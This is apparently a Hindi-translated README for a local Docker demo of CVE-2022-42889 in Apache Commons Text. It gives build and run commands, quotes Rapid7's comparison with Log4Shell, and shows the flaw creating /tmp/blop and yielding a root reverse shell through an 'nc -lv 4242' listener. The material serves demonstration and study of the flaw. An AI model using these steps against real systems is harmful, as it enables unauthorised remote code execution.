
एक सरल एप्लिकेशन जो दिखाता है कि CVE-2022-42889 कमजोरी का शोषण कैसे किया जाए
CVE-2022-42889 भेद्यता का शोषण करने का तरीका दिखाने वाला एक सरल डेमो एप्लिकेशन।
DNS और URL उपसर्गों को प्रदर्शित करने के लिए OOB (आउट ऑफ बैंड) सेवाओं का उपयोग करता है।
commons-text इंटरपोलेशन के लिए JavaDocs commons-text JavaDocs
उदाहरण इंटरपोलेशन
Rapid7 का उद्धरण
इस भेद्यता की तुलना Log4Shell से की गई है क्योंकि यह एक ओपन-सोर्स लाइब्रेरी-स्तरीय भेद्यता है जिसके प्रासंगिक ऑब्जेक्ट का उपयोग करने वाले विभिन्न प्रकार के सॉफ़्टवेयर अनुप्रयोगों को प्रभावित करने की संभावना है।
हालाँकि, प्रारंभिक विश्लेषण से पता चलता है कि यह एक गलत तुलना है। भेद्यता की प्रकृति का अर्थ है कि Log4Shell के विपरीत, यह दुर्लभ होगा कि कोई एप्लिकेशन Commons Text के असुरक्षित घटक का उपयोग अविश्वसनीय, संभावित रूप से दुर्भावनापूर्ण इनपुट को संसाधित करने के लिए करता है।
यदि कोई Docker Hub से इमेज लाता है तो Java और maven को छोड़ा जा सकता है।
एप्लिकेशन बनाएँ
mvn clean package
Docker इमेज बनाएँ
docker build -t cve-2022-42889-poc .
Docker इमेज चलाएँ
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
एप्लिकेशन तक पहुँचें और निर्देशों का पालन करें
open http://localhost:8081
जाँचें कि भेद्यता /tmp/ निर्देशिका में एक नई फ़ाइल (/tmp/blop) बनाती है
➜ ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp
blop tomcat-docbase.8081.12439436974042217796
hsperfdata_root tomcat.8081.2549096106233509364
➜ ~
रिवर्स शेल। अपनी स्थानीय मशीन पर "nc" लॉन्च करें
➜ ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#

